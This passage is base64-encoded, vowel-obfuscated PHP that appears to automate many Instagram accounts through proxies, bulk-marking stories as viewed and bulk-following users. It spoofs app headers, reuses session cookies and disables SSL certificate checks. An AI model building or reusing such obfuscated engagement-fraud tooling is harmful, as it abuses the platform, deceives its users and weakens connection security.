NG5zdDFJRCIgID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0bnN0MUlEIl0sDQogICAgICAgICAgICAgICAgICAgICIzczVyTjRjayIgPT4gJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbImszbGwxbjRjNEFkNCJdLA0KICAgICAgICAgICAgICAgICAgICAic3QxdDNzIiAgID0+ICJuMSINCiAgICAgICAgICAgICAgICApOw0KDQogICAgICAgICAgICAgICAgJDRzRXJyMnI1ZCA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNUVycjJyKCk7DQogICAgICAgICAgICAgICAgNGYoNW1wdHkoJDRzRXJyMnI1ZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHI1c3AybnM1SW5mMiA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNUluZjIoKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJHI1c3AybnM1SW5mMlsiaHR0cF9jMmQ1Il0gPT0gYTAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDJuNW5TMm4zYyA9IGpzMm5fZDVjMmQ1KCRyNXEzNXN0LT5nNXRSNXNwMm5zNVQ1eHQoKSwgVFJVRSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zYykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKHN0cnAycygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCksICJTNXQtQzIyazQ1IikgIT09IEZBTFNFKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBAdjFyIEluc3QxZ3IxbSAkMmJqDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMmJqID0gJHRoNHMtPjNzNXJzWyRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0bmQ1eCJdXVsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQyYmotPjJyZzFuNHo1QzIyazQ1cygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zY1sic3QxdDNzIl0gPT0gIjJrIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDJ0MWxTM2NjNXNzQzIzbnQrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiczNjYzVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbIjRuZjIiXSAgID0gJGQybjVuUzJuM2M7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyI0bmYyIl0gICA9ICRyNXNwMm5zNUluZjI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRyNDVkVXM1cnNbXSA9ICR0cjQ1ZFVzNXI7DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5jbDUxckMybXBsNXQ1ZCgpOw0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cHIzbjVQNW5kNG5nUjVxMzVzdFEzNTM1KCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoJHRoNHMtPnM0bTNsdDFuNXAyc3RzNHo1KTsNCg0KICAgICAgICAgICAgJHIybGw0bmdDM3JsLT41eDVjM3Q1KCk7DQoNCg0KICAgICAgICAgICAgcjV0M3JuIDFycjF5KA0KICAgICAgICAgICAgICAgICJ0MnQxbFMzY2M1c3NDMjNudCIgPT4gJHQydDFsUzNjYzVzc0MyM250LA0KICAgICAgICAgICAgICAgICIzczVycyIgICAgICAgICAgICAgPT4gJHRyNDVkVXM1cnMNCiAgICAgICAgICAgICk7DQogICAgICAgIH0NCg0KDQogICAgICAgIGYzbmN0NDJuIHN0MnJ5djQ1dygkNHQ1bXMsICRzMjNyYzVJZCA9IE5VTEwpIHsNCiAgICAgICAgICAgICRyNTVscyAgICAgPSBbXTsNCiAgICAgICAgICAgICRtMXhTNTVuQXQgPSB0NG01KCk7DQogICAgICAgICAgICAkczU1bkF0ICAgID0gJG0xeFM1NW5BdCAtIChvICogYzIzbnQoJDR0NW1zKSk7DQogICAgICAgICAgICBmMnI1MWNoKCQ0dDVtcyAxcyAkNHQ1bSkgew0KDQogICAgICAgICAgICAgICAgJDR0NW1UMWs1bkF0ID0gJDR0NW1bImc1dFQxazVuQXQiXTsNCiAgICAgICAgICAgICAgICA0ZigkczU1bkF0IDwgJDR0NW1UMWs1bkF0KSB7DQogICAgICAgICAgICAgICAgICAgICRzNTVuQXQgPSAkNHQ1bVQxazVuQXQgKyBhOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIDRmKCRzNTVuQXQgPiAkbTF4UzU1bkF0KSB7DQogICAgICAgICAgICAgICAgICAgICRzNTVuQXQgPSAkbTF4UzU1bkF0Ow0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIC8vIEs1eSBGMnJtMXQ6ICJtNWQ0MVBrXzNzNXJQa19zMjNyYzVJZCIuDQogICAgICAgICAgICAgICAgLy8gTk9URTogSW4gYzFzNSAyZiBzNTU0bmcgc3QycjQ1cyAybiAxIDNzNXIncyBwcjJmNGw1LCB0aDU0cg0KICAgICAgICAgICAgICAgIC8vIDNzNXJQayA0cyAzczVkIDFzIHRoNSBzMjNyYzVJZCwgMXMgIm01ZDQxUGtfM3M1clBrXzNzNXJQayIuDQogICAgICAgICAgICAgICAgJHI1NWxJZCAgICAgICAgID0gJDR0NW1bIjR0NW1JRCJdIC4gJ18nIC4gJDR0NW1bIjNzNXJQSyJdOw0KICAgICAgICAgICAgICAgICRyNTVsc1skcjU1bElkXSA9IFskNHQ1bVQxazVuQXQgLiAnXycgLiAkczU1bkF0XTsNCiAgICAgICAgICAgICAgICAkczU1bkF0ICAgICAgICAgKz0gcjFuZCg2LCBvKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHQydDFsUzNjYzVzc0MyM250ID0gMDsNCiAgICAgICAgICAgICR0cjQ1ZFVzNXJzICAgICAgICA9IDFycjF5KCk7DQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwgICAgICAgPSBuNXcgUjJsbDRuZ0MzcmwoKTsNCiAgICAgICAgICAgIGYycjUxY2goJHRoNHMtPjNzNXJzIDFzICQzczVyKSB7DQogICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICogQHYxciBJbnN0MWdyMW0gJDJiakluc3QxZ3IxbQ0KICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICQyYmpJbnN0MWdyMW0gPSAkM3M1clsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgJDJiakQxdDEgICAgICA9ICQyYmpJbnN0MWdyMW0tPmc1dEQxdDEoKTsNCiAgICAgICAgICAgICAgICAkM3M1ckFzbnMgICAgID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkMmJqRDF0MVtJTlNUQVdFQl9BU05TX0tFWV0pOw0KDQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICQyYmpEMXQxWyIzMzRkIl0sDQogICAgICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkMmJqRDF0MVsiM3M1cm4xbTVfNGQiXSwNCiAgICAgICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICQyYmpEMXQxWyJ0Mms1biJdLA0KICAgICAgICAgICAgICAgICAgICAncjU1bHMnICAgICAgPT4gJHI1NWxzLA0KICAgICAgICAgICAgICAgICAgICAnbDR2NV92MmRzJyAgPT4gW10sDQogICAgICAgICAgICAgICAgICAgICdyNTVsJyAgICAgICA9PiA2LA0KICAgICAgICAgICAgICAgICAgICAnbDR2NV92MmQnICAgPT4gMA0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgICAgICAkaDUxZDVycyA9IFsNCiAgICAgICAgICAgICAgICAgICAgJ0Mybm41Y3Q0Mm46IGNsMnM1JywNCiAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzFwMWI0bDR0NDVzOiAnIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAgICAgJ1gtSUctQXBwLUlEOiAnIC4gQzJuc3QxbnRzOjpGQUNFQk9PS19BTkFMWVRJQ1NfQVBQTElDQVRJT05fSUQsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tVHlwNTogJyAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtU3A1NWQtS0JQUzogLTYuMDAwJywNCiAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsQnl0NXMtQjogMCcsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAnLA0KICAgICAgICAgICAgICAgICAgICAnWC1GQi1IVFRQLUVuZzRuNTogJyAuIEMybnN0MW50czo6WF9GQl9IVFRQX0VuZzRuNSwNCiAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICAgICAkMnB0NDJucyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCAgICAgID0+ICQyYmpEMXQxWyIzczVyXzFnNW50Il0sDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gVFJVRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1ZFUkJPU0UgICAgICAgID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0VOQ09ESU5HICAgICAgID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0NPT0tJRSAgICAgICAgID0+ICQyYmpEMXQxWyJjMjJrNDUiXQ0KICAgICAgICAgICAgICAgICk7DQoNCiAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lOVEVSRkFDRSA6IENVUkxPUFRfUFJPWFk7DQogICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zWyQycHQ0Mm5LNXldID0gJDNzNXJBc25zWzBdOw0KICAgICAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbNl0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JUFJFU09MVkUgOiBDVVJMT1BUX1BST1hZVVNFUlBXRDsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zWyQycHQ0Mm5LNXldID0gJDNzNXJBc25zWzZdOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cDJzdChDMm5zdDFudHM6OkFQSV9VUkxWYSAuICJtNWQ0MS9zNTVuLyIsICRwMnN0RDF0MSwgJGg1MWQ1cnMsICQycHQ0Mm5zLCAkM3M1clsiZDF0MSJdKTsNCiAgICAgICAgICAgIH0NCg0KDQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPnM1dEMxbGxiMWNrKGYzbmN0NDJuKFIybGw0bmdDM3JsUjVxMzVzdCAkcjVxMzVzdCwgUjJsbDRuZ0MzcmwgJHIybGw0bmdDM3JsKSAzczUgKCYkdHI0NWRVczVycywgJiR0MnQxbFMzY2M1c3NDMjNudCwgJiRsMmdEMXQxKSB7DQoNCg0KICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXIgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgIjNzNXJJRCIgICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siM3k1SUQiXSwNCiAgICAgICAgICAgICAgICAgICAgIjRuc3QxSUQiICA9PiAkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siNG5zdDFJRCJdLA0KICAgICAgICAgICAgICAgICAgICAiM3M1ck40Y2siID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyJrM2xsMW40YzRBZDQiXSwNCiAgICAgICAgICAgICAgICAgICAgInN0MXQzcyIgICA9PiAibjEiDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgICAgICQ0c0VycjJyNWQgPSAkcjVxMzVzdC0+ZzV0UjVzcDJuczVFcnIycigpOw0KDQogICAgICAgICAgICAgICAgNGYoNW1wdHkoJDRzRXJyMnI1ZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHI1c3AybnM1SW5mMiA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNUluZjIoKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJHI1c3AybnM1SW5mMlsiaHR0cF9jMmQ1Il0gPT0gYTAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDJuNW5TMm4zYyA9IGpzMm5fZDVjMmQ1KCRyNXEzNXN0LT5nNXRSNXNwMm5zNVQ1eHQoKSwgVFJVRSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zYykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKHN0cnAycygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCksICJTNXQtQzIyazQ1IikgIT09IEZBTFNFKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiBAdjFyIEluc3QxZ3IxbSAkMmJqDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMmJqID0gJHRoNHMtPjNzNXJzWyRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0bmQ1eCJdXVsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQyYmotPjJyZzFuNHo1QzIyazQ1cygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkcjVxMzVzdC0+NGQ1bnQ0ZjQ1clAxcjFtc1siNHNXNWJDMjJrNDUiXSA9PSA2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRkMm41blMybjNjWyJzdDF0M3MiXSA9PSAiMmsiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDJ0MWxTM2NjNXNzQzIzbnQrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gInMzY2M1c3MiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZDJuNW5TMm4zY1sic3QxdDNzIl0gPT0gIjJrIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQydDFsUzNjYzVzc0MyM250Kys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJzM2NjNXNzIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gImYxNGwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHRyNDVkVXM1cnNbXSA9ICR0cjQ1ZFVzNXI7DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5jbDUxckMybXBsNXQ1ZCgpOw0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cHIzbjVQNW5kNG5nUjVxMzVzdFEzNTM1KCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoJHRoNHMtPnM0bTNsdDFuNXAyc3RzNHo1KTsNCg0KICAgICAgICAgICAgJHIybGw0bmdDM3JsLT41eDVjM3Q1KCk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAidDJ0MWxTM2NjNXNzQzIzbnQiID0+ICR0MnQxbFMzY2M1c3NDMjNudCwNCiAgICAgICAgICAgICAgICAiM3M1cnMiICAgICAgICAgICAgID0+ICR0cjQ1ZFVzNXJzDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCiAgICAgICAgZjNuY3Q0Mm4gZjJsbDJ3KCQzczVySUQsICQzczVyTjFtNSkgew0KICAgICAgICAgICAgJHQydDFsUzNjYzVzc0MyM250ID0gMDsNCiAgICAgICAgICAgICR0cjQ1ZFVzNXJzICAgICAgICA9IDFycjF5KCk7DQogICAgICAgICAgICAkcjJsbDRuZ0MzcmwgICAgICAgPSBuNXcgUjJsbDRuZ0MzcmwoKTsNCiAgICAgICAgICAgIGYycjUxY2goJHRoNHMtPjNzNXJzIDFzICQzczVyKSB7DQogICAgICAgICAgICAgICAgNGYoJDNzNXJbImQxdDEiXVsiNHNXNWJDMjJrNDUiXSA9PSA2KSB7DQogICAgICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAgICAgKiBAdjFyIEluc3QxZ3IxbVc1YiAkMmJqSW5zdDFncjFtVzViDQogICAgICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICAgICAkMmJqSW5zdDFncjFtVzViID0gJDNzNXJbIjJiajVjdCJdOw0KICAgICAgICAgICAgICAgICAgICAkMmJqRDF0MSAgICAgICAgID0gJDJiakluc3QxZ3IxbVc1Yi0+ZzV0RDF0MSgpOw0KICAgICAgICAgICAgICAgICAgICAkM3M1ckFzbnMgICAgICAgID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkMmJqRDF0MVtJTlNUQVdFQl9BU05TX0tFWV0pOw0KDQogICAgICAgICAgICAgICAgICAgICRoNTFkNXJzID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICAnUjVmNXI1cjogaHR0cHM6Ly93d3cuNG5zdDFncjFtLmMybS80bnN0MWdyMW0vJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdETlQ6IDYnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ09yNGc0bjogaHR0cHM6Ly93d3cuNG5zdDFncjFtLmMybS8nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtQ1NSRlQyazVuOiAnIC4gdHI0bSgkMmJqRDF0MVsidDJrNW4iXSksDQogICAgICAgICAgICAgICAgICAgICAgICAnWC1SNXEzNXN0NWQtVzR0aDogWE1MSHR0cFI1cTM1c3QnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSW5zdDFncjFtLUFKQVg6IDYnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0Mybm41Y3Q0Mm46IGNsMnM1JywNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMWNoNS1DMm50cjJsOiBtMXgtMWc1PTAnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdBY2M1cHQtTDFuZzMxZzU6ICcgLiBDMm5zdDFudHM6OkFDQ0VQVF9MQU5HVUFHRQ0KICAgICAgICAgICAgICAgICAgICApOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybnMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHRU5UICAgICAgPT4gNHNzNXQoJDJiakQxdDFbInc1Yl8zczVyXzFnNW50Il0pID8gJDJiakQxdDFbInc1Yl8zczVyXzFnNW50Il0gOiAiTTJ6NGxsMS9pLjAgKE0xYzRudDJzaDsgSW50NWwgTTFjIE9TIFggNjBfNmFfNikgQXBwbDVXNWJLNHQvZTBhLmEuNnUgKEtIVE1MLCBsNGs1IEc1Y2syKSBWNXJzNDJuLzYwLjAuNiBTMWYxcjQvZTBhLmEuNnUiLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9WRVJCT1NFICAgICAgICA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IEZBTFNFLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9FTkNPRElORyAgICAgICA9PiAnJywNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfQ09PS0lFICAgICAgICAgPT4gNHNzNXQoJDJiakQxdDFbInc1Yl9jMjJrNDUiXSkgPyAkMmJqRDF0MVsidzViX2MyMms0NSJdIDogIiINCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzBdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSU5URVJGQUNFIDogQ1VSTE9QVF9QUk9YWTsNCiAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zWyQycHQ0Mm5LNXldID0gJDNzNXJBc25zWzBdOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzZdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lQUkVTT0xWRSA6IENVUkxPUFRfUFJPWFlVU0VSUFdEOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQycHQ0Mm5zWyQycHQ0Mm5LNXldID0gJDNzNXJBc25zWzZdOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cDJzdChDMm5zdDFudHM6OldFQl9VUkwgLiAidzViL2ZyNDVuZHNoNHBzLyIgLiAkM3M1cklEIC4gIi9mMmxsMncvIiwgTlVMTCwgJGg1MWQ1cnMsICQycHQ0Mm5zLCAkM3M1clsiZDF0MSJdKTsNCg0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAgICAgKiBAdjFyIEluc3QxZ3IxbSAkMmJqSW5zdDFncjFtDQogICAgICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgICAgICAkMmJqSW5zdDFncjFtID0gJDNzNXJbIjJiajVjdCJdOw0KICAgICAgICAgICAgICAgICAgICAkMmJqRDF0MSAgICAgID0gJDJiakluc3QxZ3IxbS0+ZzV0RDF0MSgpOw0KICAgICAgICAgICAgICAgICAgICAkM3M1ckFzbnMgICAgID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkMmJqRDF0MVtJTlNUQVdFQl9BU05TX0tFWV0pOw0KICAgICAgICAgICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICQyYmpEMXQxWyIzMzRkIl0sDQogICAgICAgICAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJDJiakQxdDFbIjNzNXJuMW01XzRkIl0sDQogICAgICAgICAgICAgICAgICAgICAgICAnM3M1cl80ZCcgICAgPT4gJDNzNXJJRCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkMmJqRDF0MVsidDJrNW4iXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdyMWQ0Ml90eXA1JyA9PiAndzRmNC1uMm41Jw0KICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAkaDUxZDVycyA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICAgICAnQWNjNXB0OiAqLyonLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzFwMWI0bDR0NDVzOiAnIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1UeXA1OiAnIC4gQzJuc3QxbnRzOjpYX0lHX0Mybm41Y3Q0Mm5fVHlwNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxCeXQ1cy1COiAwJywNCiAgICAgICAgICAgICAgICAgI